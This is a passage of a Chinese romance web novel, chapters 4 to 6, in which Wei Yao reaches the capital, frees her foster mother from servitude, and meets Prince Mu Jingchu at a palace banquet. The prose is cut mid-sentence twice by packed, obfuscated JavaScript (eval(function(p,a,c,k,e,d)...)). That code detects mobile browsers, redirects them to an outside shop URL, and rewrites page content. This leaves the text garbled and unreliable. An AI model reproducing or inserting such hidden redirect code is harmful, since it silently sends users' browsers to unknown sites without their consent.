原主性子虽坚韧，却也谦柔恭顺，只想着父女相安无事、莫起争执。可如今顾顺娘却觉得，既然魏芝翰这当爹的靠不住，回京之后，她总得想个法子，让魏窈渐渐摆脱对生父的依赖才行。 哪怕那条路艰难些，也比寄人篱下受尽挟制得好。 俩人安静依偎着，马车渐行渐远。 身后的江陵城，办完剿匪正事的穆景初匆匆赶回福缘客栈，得知魏窈一行人已然离去时，却是皱了皱眉。 4. 004 穆景初这趟差事办得其实很顺利。 因魏窈指的那条路确实隐蔽，他们除掉后山放哨的匪徒后悄没声息地摸进去时，前山那些土匪还在纵饮狂歌，仗着正门被把守得牢固，还以为整座山寨固若金汤呢。 他和卫玄铮率人分头将山寨防守摸清楚，动手之前，怕伤及手无缚鸡之力的魏窈，便问随从她的下落。 负责看护魏窈的随从呲牙一笑，道：“魏姑娘早就溜了。带着个女人，从后山的寨门出去的，已经快半个时辰了。” 跑得倒是挺利落！ 穆景初脑海里浮现她蹑手蹑脚溜之大吉的模样，好笑之余，心底却仍存着疑惑，想不通她何以知晓他来剿匪之事。 但既然良机天赐，他都带人摸进了匪寨，哪还会再耽搁？ 于是一面命人拿了手令去城中报信，一面跟卫玄铮率人冲杀，趁夜将匪首们一锅端了。 等当地知府宋元礼得知消息，会同负责剿匪的小统领带着人马赶过来时，寨门已然从里头敞开，或死或伤的匪徒们摆了一地。剩下那些个小喽啰虽有逃脱的，只消问明了身份，抓起来也不算难，权当捉野猪就行。 于是派人搜剿匪寨，查问逃脱之人姓名，忙到朝阳初升的时候，山寨就已被翻了个底朝天。 宋元礼新官上任没多久，原本忙于田亩人丁等事情，还没顾得上剿匪，见这回皇帝竟派了位郡王亲自来督办，且这位爷只凭十几位随从便荡平匪寨，哪有不汗颜忐忑的？ 自是擦着汗连连告罪，带人卖力干活。 穆景初也知这事怪不到他这新官头上，却也不会放任底下的人官匪勾结，待回城之后便与宋元礼一道审讯，揪出通风报信的人，就地处置。 等办完这些回到客栈，已是日色西倾。 卫玄铮依命去掌柜那里询问魏窈住的是哪处屋子，却扑了个空，只好将事情问明白后赶紧去回话。 “……说魏姑娘她们是后晌走的，管事的老嬷嬷还从衙门领了顿板子，大约是跟魏姑娘去啸风岭救人的事有关。她们的去向掌柜不清楚，不过掌柜的说，依她们先前的行事做派，那些人像是京城来的。” 他觑了眼穆景初的神色，觉出主子似有不豫，忙道：“属下已问清楚了住店人的姓名，这就派人去细查！” 穆景初这才颔首，让他尽快去办。 等卫玄铮匆匆离去，穆景初瞧着窗外那一丛翠竹，指腹轻轻摩挲时，脑海里不自觉又浮现那女子垂首回话的模样。 剿匪其实不难，即使没有那姑娘，等卫玄铮派人寻到熟悉啸风岭附近地形的人，他带人摸上去，结果也是一样的。让他费解的是魏窈的举动——明明他此行是微服而来，连主政一方的宋元礼都没探到半点消息，她是怎么知道的？ 昨夜假扮夫妻时她还那样乖顺地靠在他怀里，温柔含笑地引他走小路上山，谁知目的得逞后转身就这么走了，连句话都没给他留。 不是说日后再禀吗？ 就这么诓他？ …… 翌日清晨，穆景初带着随从启程回京复命，奔腾的马蹄如雷踏过，星夜兼程之后很快就到了京城。 魏窈却是足足走了十余天才抵达。 进城的那日，正是个骄阳高照、惠风和畅的好天气。魏窈卷起半边车帘，瞧着那座巍峨矗立、商贩往来的城门，想起前世许多次出入此处的光景，双眸渐渐凝起深色，过了守卫查验后便欲放下帘子。 软帘轻晃，还没落稳，便又被顾顺娘轻轻挑起。 “这就是京城？” 她看着两侧鳞次栉比的茶楼酒肆，瞧见挑着担子走过树荫的卖花郎、牵着骆驼铃铛慢响的异域客商，扫见楼阁里把酒言笑的客人、布庄中挽臂而出的女郎，眼底渐渐聚起亮光。 来的路上暗中观察，她便觉得如今这世道还算安稳太平，除了啸风岭那种情形特殊之处，沿途都还算人烟阜盛、安居乐业。 如今看来，京城竟是她意料之外的繁华！ 满街老少过客之中有半数皆是女郎，且多衣着鲜丽单薄，随意游走在街边商铺之间，显然对这等安稳太平习以为常。 且据途中听闻，这些年间，虽说边陲偶有战事，甚至连身份尊贵的皇太孙都把性命搭了进去，内里倒颇有繁荣景象。路过的几处州城里，还有设了夜市的，里头能喝茶能赏月能尝各色小吃，女郎们相约夜游也是常事。 想来京城中商市之繁荣，定是更胜一层的！ 顾顺娘瞧着一路上的各色店铺，嘴角渐渐浮起笑意。 魏窈见了，不由也笑道：“您喜欢这里？” “很适合做点小生意。”顾顺娘既已亲眼见到京城的情形，愈发肯定了先前的打算。便收回视线，握住魏窈的手，“待会就要见你父亲了，高兴吗？” “他？”魏窈想起魏芝翰，哂笑垂首。 前世她确实是满怀期待的进京，为终于能见到亲生父亲而万分欢欣。可那之后的数年光阴里，父女间是何等情形呢？ 心头那团火早已熄灭，想假装欢欣都不是易事。 顾顺娘瞧着这情形，心里便已猜到几分。 当日在江陵城里魏窈修书寄去，魏芝翰明明知道贺氏派的人手存有不轨之心，却没再派人来接应照料。不管背后是何原因，这位当父亲的，都绝不是她们最初设想的那样疼爱女儿。 顾顺娘叹了口气，“有件事我一直想跟你商量。那位贺夫人显见得是不想让我回京，咱们都住进魏家，在她眼皮子底下反而麻烦。不如……” “不如您先住在外面，咱们另寻个出路？”魏窈抬眉。 顾顺娘未料她也有此意，当下大喜道：“正是呢！你是女儿家，既是奔着父亲来的，免不了要住在魏府。我却不一样，与其在那贺夫人手底下讨生活，不如寻个营生自立门户。只是你独自在府里我不放心，最好先住几天摸摸底细。” “我没事的，能应付！”魏窈对此成竹在胸，只是怕顾顺娘在外面辛苦。 顾顺娘听了只管笑着摆手，想到能在京城重新做她未尽的事业，给魏窈一些帮衬，也不受贺氏那恶妇的钳制，甚至还有些跃跃欲试。 两人低声商量着，渐渐驶近魏家府邸。 在马车拐过熟悉的街角时，魏窈有些迫不及待地挑起软帘，视线投向巷口的那处油铺。 果然，门口的树荫下，有道熟悉的身影坐在藤椅里，身上穿着武官服制，正慢慢吃一碗冰酥酪。仿佛是察觉她的视线，那人在魏窈才要开口时抬起了头，瞧见帘后眉开眼笑的少女，当即笑着起身，大步走过来。 魏窈忙让车夫勒马，沈歌却不待停稳便利落地钻进车厢，笑道：“顾姨，小阿槿！” 说着，就要来捏魏窈的脸。 魏窈忙往后躲，笑道：“沈将军，你可穿着官服呢，留意言行！” “放心，没人瞧见。太久没见你了，这软软的脸蛋儿，捏起来就是好。”沈歌到底是强行将她的脸蹂躏了几下，又低笑道：“也就四年多没见，小阿槿居然都长成大姑娘了，快叫姐姐！” “好啦好啦，再欺负阿槿就该闹了。”顾顺娘无奈笑着，将沈歌那只行凶的手扒拉开，“你在京城里还好吧？” “你瞧，神清气爽！”沈歌挺起胸脯。 顾顺娘便笑，“这孩子，真是！” 四年没见，当初逃婚离家的姑娘家居然摇身一变成了小将军。先前沈歌寄回家书，顾顺娘得知她在行伍立功得官职时，还无法想象那是何等情形，如今瞧着她神采飞扬的模样，心里满是欣慰。 魏窈却已习惯了她飒爽女将的做派，这会儿久别重逢，虽说沈歌捏脸的恶习未改，却仍格外欢喜。 匆促间叙了几句话，马车便已到了魏府。 管事迎了魏窈她们进去，后面的丫鬟仆从也都拿着行囊往里走，唯有赵嬷嬷大热天的伤口未愈，只能让人搀扶着，臊头耷脑地往里慢慢挪。 …… 邻近端午，天气一日热似一日。 魏家的照水阁里，这会儿已经摆齐了瓜果糕点。阁楼临水，周遭树木郁郁葱葱，斑驳的树影遮去大半的炽热日光，柳丝将卷着水气的风送入窗户时，倒是颇觉凉快。 魏芝翰坐在他那把专属的太师椅里，心不在焉地喝着茶，目光不时往外瞟。 凉风习习的窗边，贺氏身着锦衣满头珠翠，懒懒的靠在美人榻上，正摆弄怀里那只通体雪白的漂亮狸猫。 魏淑云贴在她身边坐着，脸上明显有些不耐烦，瞥了眼魏芝翰后没敢开口，只小声向贺氏道：“她怎么还不来！表姐约我今儿去西明湖玩的，生生被她耽搁了。” “好啦，就这一回，好歹要全你父亲的颜面。”贺氏贴在她耳边嘀咕着，又小声道：“回头你舅妈她们去避暑，带你同去可好？” “本来就该带我去！”魏淑云语气里颇为得意，虽仍有些不耐烦，好歹是被安抚住了。 又等了片刻，就有仆妇匆匆来禀说人到了。 少顷，花木遮荫的甬道上，一位身着映月白裙的少女缓缓走来。 她生了张很漂亮的脸，黛眉之下一双明眸如同精心画就，柔润的脸颊因方才路上的暴晒而微微泛粉，唇瓣柔软红润，像是清晨初绽的海棠。她身上甚至没什么装饰，裙衫素净，青丝只以珠钗挽起，耳边也空荡荡的。 但即使不饰粉黛，那姿貌也颇夺人视线，提裙跨过门槛时如明珠入室，光华暗藏。 贺氏不自觉地皱了皱眉，魏淑云也 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顾顺娘抬步跨过门槛，虽然心中万般不愿，碍着时下的规矩，却还是跪地行了礼。 贺氏见她安然无恙，再想想赵嬷嬷办事不力反而被衙门打得半死不活的消息，心底那根刺愈发膈得难受。不过时日还长，这俩人既落到她眼皮子底下，一个孤女一个老妇，仰人鼻息的奴婢罢了，往后还怕没有收拾的日子么？ 她轻飘飘挪开视线，温声道：“这些年辛苦你了。如今既回了京，就安心住下来，旁的事也不用你操心，照料好窈儿就是。” 说着，便要让人拿赏赐。 魏窈瞧着她这副假慈悲的主母做派，哪能任由贺氏安排，重新将顾妈妈推回任人摆布的仆婢处境？ 便舍了魏淑云，转而向魏芝翰道：“说起来，女儿还有件事想求父亲。” “你说。”魏芝翰眼底笑意未散。 魏窈趁热打铁，“女儿自幼流离失所，是顾妈妈含辛茹苦将我养大，其中艰辛非旁人所能知。如今女儿能安然回来，全是仰仗顾妈妈的恩情。她原是母亲的陪嫁，不如今日喜上添喜，替母亲给个恩典，将顾妈妈放免了吧。” 这话来得突然，魏芝翰不由看向贺氏。 贺氏心里正膈应着呢，哪愿意成全这所谓的“喜事”？ 见魏芝翰不表态，她便笑道：“按理说，她既有此功劳，放免倒也无妨。只是我听你父亲说，顾妈妈从前并未嫁人，难道如今有人家了？” “顾妈妈为养育我操劳辛苦，并无夫家。” 意料之中的回答，让贺氏眉宇稍展，“那就麻烦了。放免容易，可没有夫家，这户籍的事就难办了。不如就在府里养着，她这样的功臣，也没人敢给她委屈受。”说着，笑吟吟睇向魏芝翰。 魏芝翰原也不想折腾，闻言颔首道：“府里对她这样的人向来恩遇，放心住着便是。” 说话间拍拍魏窈的肩膀，分明是要她听话些。 魏窈才不相信这份“恩遇”，只抬眸坚持，“女儿想帮她立个女户，还望父亲成全。” 贺氏压着心底的烦躁，笑劝道：“你刚来京城，年纪小不太懂，放免不难，立女户却不是易事。尤其她原是奴婢之身，又无夫家子嗣，官府里手续繁琐，难道要你父亲为了她专门写书作保不成？” 这显然不可能，魏芝翰几乎不用思索。 他仰仗岳父贺崇的提携在户部谋了个郎中的职位，户籍的事上其实轻而易举。但在贺家荫蔽下过惯了优渥体面的日子，若要他为一介仆妇开口，岂不是贻笑大方？ 魏芝翰轻飘飘地挪开了视线。 贺氏深知夫君性情，脚趾头都能猜到答案，便也不再多话，只等着他做父亲的拒绝就是。 安静的间隙里，门外忽然传来一道清朗的声音—— “我来写书作保！” 话音落处，沈歌抬步而入，先朝魏芝翰行了个礼。 魏芝翰瞧来人身着官服，一面还礼，一面诧然道：“你是？” “晚辈沈戈，是阿槿的好友。” 沈歌当日女扮男装投军时用的是“沈戈”的名字，后来身份暴露，虽差点因此事丧命，待风波平息后，便一直用着这身份。 此刻她长身而立，有意无意地往顾顺娘身边站过去，道：“我跟阿槿一道长大，跟顾干娘也交情极深。今日她们回京，我特地赶来相见，若有叨扰之处，还望魏大人海涵。立女户的事，大人若是不便，晚辈可为顾干娘作保。” 这话一出，非但贺氏，就连魏窈都微诧地瞧向了沈歌。 她什么时候认的干娘？ 5. 005 屋里气氛片刻凝滞，即使贺氏竭力掩饰，脸色也有点藏不住的难看。 魏窈悄悄跟顾顺娘对视了一眼。 她跟沈歌交情很深不假，但沈歌虽生于乡下，祖上其实颇有根基，在当地也算是有头有脸的人家了。顾顺娘既是奴籍，当初在沈家也是以作杂活为生，沈家主母断不会让沈歌认她为干娘。 但此刻沈歌既说了，两人自不会戳破，只抿着笑低下头。 沈歌当初能干出逃婚参军的事，于这些更不会讲究，只笑向魏芝翰道：“顾干娘当初带着襁褓里的阿槿，从京城辗转到邵州，即使再难都没抛下阿槿。后来又靠着一双手把她拉扯大，自己脏活累活日夜辛劳，却不让阿槿吃半点苦。这样的赤胆忠心，晚辈极为敬佩。” 魏芝翰听得有点尴尬。 便请沈歌入座，道：“倒不知小女还有你这样的朋友。小将军如今在何处任职？” 得知她如今在侍卫马军司供职，魏芝翰分明有点惊讶，“莫非是靖国公朱老将军的部下？” “正是。” 这话一出，贺氏和魏芝翰都有些意外。 时下朝堂中颇有重文轻武之风，武将们莫说官职品级都低于文官，行军作战之时还要受皇帝派去的监军辖制，早已没了前朝各地节度使拥兵自重的威武气派。 京城中此风尤甚，舞刀弄枪的武官们常会遭到文官的轻视。 但再怎么重文轻武，自宰相而下，也没人敢轻视靖国公半分—— 那位是当今昭明帝的幼时玩伴，非但有赫赫战功，更因与皇帝一辈子的友情而极得圣恩。 不说那些丰厚的恩赏优遇，单说他麾下有人女扮男装假冒身份去参军，论律当严惩的事情，他却能一力保得那人周全。非但没半点苛责，还提携她以女子之身封官入仕，领着品级俸禄继续在军中供职。 这事儿虽发生在军中，且有意压着消息，魏芝翰却也听过一点风声，只是不知详细罢了。 而眼前这位沈歌，竟与靖国公有点渊源。 魏芝翰实在没想到女儿在穷乡僻壤还能碰见这等因缘，只好按下心头那点不快，笑道：“沈小将军愿意作保，那是她的福气。” 放免立女户的事，就此说定。 贺氏纵然满腔的不快，既寻不到推阻的由头，也只能退让罢了。 因才过晌午，离晚饭还有些时辰，沈歌后面还得去当值，同魏芝翰叙了会话后便留下来时预备的一点小礼物，告辞而去。 魏窈则被仆妇带往住处。 …… 魏家人丁单薄，府邸却不算小。 贺氏的父亲贺崇任着参知政事之职，是昭明帝颇为倚重的心腹之人。他膝下唯有一子一女，对贺氏这个女儿向来疼爱，且因独子在仕途上天赋有限，便格外提携魏芝翰这个女婿。 有这么个靠山，纵使魏芝翰祖上资财有限、俸禄也不算丰厚，贺氏也绝没让自己受半点委屈，将府邸修得甚是宽敞华美。 给魏窈的住处是府里西北角的浮香院，虽说不及魏淑云住的涵秋馆一半大，却也很宽敞。 院里种着一株海棠，墙根底下的一溜牡丹尚未开尽，正屋是起居所用，东厢房拿来做书房和会客之用，后头还有个小厨房，虽说窄仄些、厨具也不多，寻常做点小点心汤水却是够用的。 魏窈带着顾顺娘略看了看，进屋后让人将随身行囊放进箱柜，待拨来伺候的仆婢退出屋门，才有些疲惫地抻了个懒腰。 桌上茶壶里的水刚好温热，她大热天里赶路说话半点没能歇息，这会儿赶紧斟了两杯，先解解渴。 顾顺娘打量着屋子，低笑道：“沈歌是你特地喊来的吧？” “原本只是想请她撑个腰，好让我那继母心存忌惮，不敢对您太放肆。没想到她备了这样一个惊喜！”魏窈想起继母当时那脸色，实在想笑。 “沈小将军的干娘……”顾顺娘想着这称呼，也自失笑。 脑海里翻来覆去的，却是沈歌幼时捣蛋的情形。 大户人家的姑娘多半讲究个闺秀之仪，偏巧沈歌是个坐不住的性子，小时候死缠烂打地让沈家主君教她骑马射箭，后来又软磨硬泡地要习武，调皮捣蛋得着实让沈家二老头疼。 再后来到了说亲的年纪，沈家主君为她精心选了个读书人。 谁知沈歌看不上对方那温吞的性子，不肯答应，后来实在拗不过父母，竟连夜卷着包袱逃了！ 当时这事儿闹得沸沸扬扬，沈家二老颜面尽失，气得差点病倒在榻上。 其后沈家二老虽各处托人去寻找女儿，却总是音信皆无，直到前年沈歌忽然寄家书回来，说她做了个武官，真是把二老惊得够呛！ 如今再看，沈歌这选择虽惊世骇俗了些，却极合她的性子。 于沈歌而言，在军中施展才干的日子，应该也比在邵州伺候公婆的处境来得爽快些。 “她到底是靠自己闯出了条路。若还在邵州待着，下半辈子无非是生儿育女、多年媳妇熬成婆。可如今你瞧，这要是回趟邵州，族里能敲着锣鼓往外迎上十里。”顾顺娘几乎能想象沈家二老笑出满脸褶子的模样。 魏窈亦笑道：“可不是么，她当将军的消息一传出来，连我俩都跟着沾了光。” 这倒是句大实话。 魏窈这张脸生得实在出挑，尤其是这两年逐渐长开，那姿貌放在邵州乡下更是十里八乡出了名的。要不是沈歌的名头压着，还不知要遭怎样的觊觎。 顾顺娘瞧着那漂亮脸蛋，忍不住拿指背蹭了蹭，“她这条路也是战场上一刀一枪拼出来的。咱们如今虽说在魏家，可你瞧这园子屋舍，哪个不是沾着你那继母的光？她又不是个善茬，我还是得早点寻个正经营生，免得让贺家说吃人嘴短。” “那您打算做什么呢？”魏窈歪头瞧着她，有些好奇。 “开个食店吧！这一路走过来，瞧街上的情形，大约是走得通的。等我明儿出去细瞧瞧，就有数了。” “您那厨艺……能行？” 顾顺娘情知原主的厨艺寻常，听得质疑，不由轻点她脑门，“从前是我藏拙呢，怕做得太好吃，把你这小嘴儿养刁了，以后养不起。如今既要寻个营生，做些好吃的饭菜不在话下！” 当真？魏窈心里不太敢相信。 不过顾顺娘近来确实跟从前不一样了，说话做事多了份利落强硬，跟从前温驯的做派迥异。整个人像是重新焕起了生机似的，也不知是不是要从乡下进京，寻回了昔日意气的缘故。 这般微妙的变化总让魏窈觉得哪里怪怪的。 但不管怎么说，上苍既给了她重来一次的机会，只要俩人肯用心，总不会比上辈子差。 她靠在顾顺娘身上，唇角轻轻翘起。 …… 翌日用过早饭后，顾顺娘就出门去了。 魏窈则被魏芝翰关在院子里，请了位相熟的嬷嬷教习礼仪。 ——端阳邻近，民间忙着吃粽子赛龙舟，皇宫里的昭明帝则在南苑乘舟游览风光，还设了宴席邀五品及以上的官员和家眷一道热闹。原本魏芝翰只打算带魏淑云去的，昨儿见魏窈生得出挑，且性情还算温和大方，便欲赶着教导一番，带去宴上露个脸。 毕竟魏淑云到了要说亲的年纪，魏窈作为长姐，更不宜拖延。 这事儿交在贺氏手里，她倒也没反对。 只是魏淑云有些不高兴，私下里抱怨道：“穷乡僻壤来的土丫头罢了，她算哪门子长姐？回头到了宫里宴席上，毛手毛脚的，还不让人笑掉大牙！” 贺氏正看丫鬟们理丝线，闻言笑道：“你怎么了，像是憋了一肚子怨气。” “让人知道我还有个乡下来的姐姐，丢死人了！”魏淑云仗着外公的势，与表姐一道出游时，虽不敢在皇亲国戚前造次，在一众官家千金里，却是颇为自诩的。 想起父亲满眼和蔼的样子，她心里愈发不痛快，“父亲急吼吼的让她去赴宴，什么意思！” 这种场合，不乏相看人家琢磨婚事的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125393|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 魏窈那张脸…… “外头花瓶，内里草包，才没人看得上她呢！”末了，她如是小声嘀咕。 贺氏猜到她的心事，只笑着拍拍她脑袋，“放心，有娘亲呢。回头咱们去赴宴，你可得稍微收收脾气，免得落人话柄。” 有了这叮嘱，到端午赴宴那日，魏淑云的脸色倒还算和气。 魏窈自也懒得跟她计较。 前世种种，魏淑云勾搭贺云章的行径固然可恶，但她在贺家的许多遭遇，多半还是贺氏暗里撺掇所致。乃至最后那一把大火，都未必不是贺氏的手笔。 如今魏窈也没法捏着鼻子唤她“母亲”，只以夫人呼之，在礼数上周全些也就罢了。 贺氏倒一副宽仁做派，不待魏芝翰开口，便先自掏腰包给魏窈买了几套漂亮的衣裙首饰，美其名曰姐妹俩一视同仁。 以至于昨晚魏芝翰来检查进宫礼仪时，还不忘叮嘱道：“她虽是继母，却宽容大度，家里的琐事也都有劳她操心。你须待她亲近恭谨些，方不负我千里迢迢将你接回来的苦心，外人看着，面子上也光鲜些。” 最后一句话才是重点。 魏窈清楚魏芝翰高娶后格外看重颜面，出了府门，跟贺氏母女处得也还算和气。 马车驶过街巷，穿过街市上飘散的粽子香气、雄黄酒味，最终停在了一处巍峨的宫门前——便是西苑了。 比起前朝巍峨恢弘、占地极广的宫苑，本朝的皇宫其实有些逼仄。 当初开国皇帝生性节俭，因天下初定时百废待兴、军中又需巨额的银钱撑着，便没单独兴建皇宫，而是选了前朝最宽敞、地段还算合适的那座王府，修缮后做了皇宫，将银钱都用在急需之处。 其后，围着皇宫陆续设了一些往来紧密的衙门，加上宫外还有禁军驻守，几代皇帝承袭下来，就渐渐显得皇宫逼仄起来。 这座西苑便是先帝当初为其父庆贺生辰时，与诸皇子协力建成的，征用了些民宅，再将原有的丘陵溪流围进来，因离皇宫不远，便渐渐成了皇家设宴赏玩最常去的地方。 到了昭明帝手里，他不满足于西苑，早年间在城外另修了座行宫，作为暑热时养生所用。 近来他又想在皇宫后面修座道观，以供奉神明祈求长生，因着民宅林立耗资甚巨，遭到宰相等人的强烈反对，正闹得不可开交呢。 以至于今日群臣赴宴的氛围都有那么一点点古怪。 当然，这些暂且与魏窈无关。 她穿了身轻烟罩白的外衫，底下搭着与这时节相衬的珊瑚红裙，与贺氏母女一道由宫人引往设宴的雪霁湖。 到得那边，因离开宴还有些时候，照旧是贵女们三三两两的游苑赏花，偶尔与哪家的公子相遇，还能评点一番这湖光山色。 魏淑云自然不愿带上忽然冒出来的“姐姐”，跟贺氏招呼过后，便直奔她贺家那位表姐而去，再与相熟的姐妹们闲游赏玩。 满厅贵归之中，魏窈一个姑娘家不好枯坐着，便带了刚被分到她身边做事、尚显稚嫩的青穂，随意在园中游走。 这座西苑她前世其实来过好几次。 毕竟贺崇身居高位，贺云章虽身无功名，却也有捐来的官职在身。且因贺云章跟他祖父一样善于揣测圣意，颇得昭明帝的赏识，在魏窈将死之时，他已经开始在朝中崭露头角了。 魏窈既是他的妻室，偶尔也能受邀来赴宴。 如今再以闺阁女儿的身份重游故地，心境自是迥异于从前。 她徐徐穿行在人影错落的花丛间，才走到一处游廊旁，忽觉不远处有人似在注视着她。她敏锐地侧头看去，就见穆景初金冠玉带，就站在十几步外的洞门旁边，在一丛青竹的映衬下，愈显得身姿峨峨，气度清贵。 只是此刻神情略觉清冷，似暗藏不悦。 视线隔空相触，魏窈想起江陵城的旧事，心头不由一跳。 就见穆景初沉目朝她勾了勾手指，用唇形吐出两个字—— “过来。” 6. 006 月洞门外花团锦簇，游廊蜿蜒，门内则是一座休憩用的小阁楼。虽说外头瞧不见，实则门内照壁两侧都有侍卫把守，等闲不许人进去。 来赴宴的都知道规矩，也没人会往那边走。 是以，当魏窈硬着头皮走向那月洞门时，当即吸引了不少目光。且因她这身段容貌颇为出挑，方才门前站着的又是大龄未娶、心高气傲的肃郡王，不免有人交头接耳起来，问她是哪家的女眷。 始作俑者穆景初却风轻云淡，见魏窈乖顺过来，便只留卫玄铮在门外守着，自己踅身进门绕过影壁。 等魏窈进去时，他已在紫藤架下坐着了。 即使知道两人迟早会见面，但当重逢真的降临，魏窈多少还是有点紧张。 尤其是穆景初那双似能洞察人心的深邃眼睛望过来时，暗藏的锋芒像是一把把细薄锋锐的小刀，要将她裹在外头的伪装尽数撕碎，袒露出藏在胸腔里的心思一般。 前世他也曾暗里注视过她，但魏窈偶尔察觉，也只觉其幽深目光中藏有炙热，不像此刻…… 她情知这审视源于何处，便先行礼挑破，“民女拜见肃郡王殿下。当日啸风岭上多亏殿下相助，才能让我救出至亲。当时未能当面道谢，如今有幸相逢，请殿下再受民女一拜。” 说着，当真跪地一拜。 顾顺娘的性命于她而言贵如珍宝，这一拜倒是真心实意。 仲夏的风拂过庭院，卷来甬道旁馨甜浓烈的栀子花香，那抹曾在福缘客栈里闻见的熟悉香味亦隐藏其间，若有若无。 穆景初眼中锋芒稍敛，抬抬手示意免礼。 “我们素不相识。”他开了口，视线肆无忌惮地在魏窈面庞上游曳，“你怎知我身份？” 魏窈迎着他的视线，垂眸轻笑了下。 这个问题，若穆景初在福缘客栈里逼问，她确实难以敷衍过去。不过时隔半月，明知难逃此一问，魏窈几经思索印证后，已经想到了差不多能瞒过去的说辞—— “五年之前，民女曾有幸见过殿下和身边的小将军，在潭州。” 印刻在脑海里的地名毫无征兆地落入耳中，令穆景初神情微顿。 潭州，多熟悉的地名！ 彼时他正是意气风发的年纪，因与身为皇太孙的堂兄穆景则感情极好，形影不离的陪伴讨教之中，对于朝政军事揣了许多见解，也同堂兄一样，急切盼着朝廷能收复灵武，重振西北边塞。 那年春天，堂兄逆着帝王的不悦，几番向皇祖父谏言，终于博得圣意首肯，领兵直奔西北边塞。 他原想随军出征，皇祖父却觉他在战场上资历有限，不宜轻进冒险，硬将他塞到驻兵西南的靖国公朱老将军麾下。 他只好辞别双亲孤身南下，仰赖靖国公栽培，于征战之事倒是进益不少。皇祖父闻讯很是欣慰，嘉奖之余，还委派他回京时顺道去潭州办几件要紧差事。 在潭州，他整整盘桓了近三个月，才将那几件千头万绪的陈年旧事料理清楚。 再回到京城时，迎接他的却是堂兄的死讯。 怎能不印象深刻呢！ 即使隔了数年，穆景初仍记得初闻噩耗时脑袋里的空荡茫然，以及随之而来延绵不绝的锥心之痛，至今也未能消解。 喉头微干，他不自觉垂眸握住腕间锦带，将旧事尽数压住。 片刻后，他才清了清喉咙，道：“当时是何情形？” 魏窈只说记得并不太确切，将大略情形描述了一番——她当然没去过潭州，好在沈歌是个顽皮好动的性子，当时硬缠着沈家的管事去潭州采买办事，碰巧见着肃郡王和随从，回来后便倒豆子似的说给她听。 福缘客栈一会后，魏窈怕记错，还特地写信跟沈歌确认过。 如今挑着场景略说了说，再添个隔了几年对细节记不太清的由头，倒是勉强打消了穆景初的疑虑。 毕竟五年前她才十来岁，匆匆一瞥看个热闹的女娃娃，哪能记那么清楚？ 穆景初便颔首，抛出第二个问题—— “你又怎知我是去剿匪？” 这问题就简单多了！ 魏窈暗自松口气，道：“我们进江陵城后，听说了外面闹山匪的事情。殿下贵为凤子龙孙，又骁勇善战，忽然驾临那种小地方，自是有差事要办。民女当时救人心切，猜度着可能跟剿匪有关，因此斗胆试了试。” “好在殿下没怪罪，还帮民女救出亲人，民女实在感激之极！” 她盈盈站在他的面前，紫藤花架下微风卷动裙角，那双曾握在掌心把玩的柔软小手藏在袖中，漂亮的眼睛里全是诚恳。 倒真是个美人胚子。 只可惜…… “令尊姓魏，在户部任郎中？”穆景初忽然问。 “是。”魏窈如实回答。 穆景初颔首，在确信她的身份后，终于将视线从她脸上挪开。 既是魏芝翰的女儿，难免要跟贺崇那种老贼搭上边，不能不说是明珠陷入污淖渠沟。 他有点惋惜，想再闻闻那若有若无的味道，却又寻不出合适的由头继续将她强留在此，便即起身拂袖，与她擦肩而过，举步出院。 萦在心头的疑惑终于有了答案，前阵子总是不自觉想起她、频频佳人入梦的毛病，如今总该消停了吧。 临走前，他如是想。 …… 绕过影壁踏出月洞门，不远处的花丛里竟聚了不少人。 瞧着像是在赏花，有那些性子轻率按捺不住的，却是直拿眼神往这边偷偷瞟，又在碰见穆景初视线时慌乱低头。 穆景初懒得多扫一眼，抬步走远。 跟在后面的魏窈可就没他那么脚步轻快了。 原本氛围其实挺不错的。 她虽胡诌了个潭州见过的由头，因早有准备，半真半假的说出来，明显是打消了穆景初的疑虑。只不过后来他突然问及身份，她答了父亲的身份后，穆景初虽没说什么，甚至神情亦无变化，魏窈却总觉得那一瞬他似乎藏有不悦。 难道是父亲跟穆景初有过节？ 怎么前世没听说呢？ 不过细想起来，前世除了偶尔在某些场合遇见外，贺家和魏家确实跟穆景初少有往来，跟他的父亲惠王爷在私下更是八竿子打不着。 当了几年贺家的儿媳，贺崇这人是个什么品性，魏窈还是有点数的。 靠着揣摩圣意投其所好上位的人，又没少谋取私利，在朝中的风评并不好。莫非是穆景初看不上靠阿谀逢迎博得圣宠的贺家，以至于恨屋及乌，对魏家也存有偏见？ 不管是哪种情形，穆景初方才的那点不悦，于她而言都不是什么好的征兆。 魏窈拿不准，心里七上八下的。 以至于踏出月洞门时，神情里都有点没能收尽的沮丧。 一抬头，瞧见不远处花丛里还在看热闹的女眷，她霎时明白了这些人的心思，便没再过去，只带着守在门口的青穂往宴席上去。 临水的花丛边，这会儿却似炸开了锅。 魏淑云被女孩子们围在中间，脸色颇为难看，下巴拉得都快掉地上了。 她原本跟表姐贺薇等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125394|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在水边嬉戏，远远瞧见魏窈往皇家小憩用的阁楼走，到底怕这乡下来的村女不懂规矩连累魏家，便忙皱眉拉着丫鬟往这边赶，想尽快把魏窈叫出来。 谁知到这边后听见旁人的议论，才知道魏窈是被肃郡王给叫进去的。 魏淑云一听，顿时有点傻眼。 旁边女眷难得看到肃郡王在众目睽睽下召见一位女郎，哪有不好奇的？ 见魏淑云似乎认识那位貌美眼生的女郎，自然围着打听。 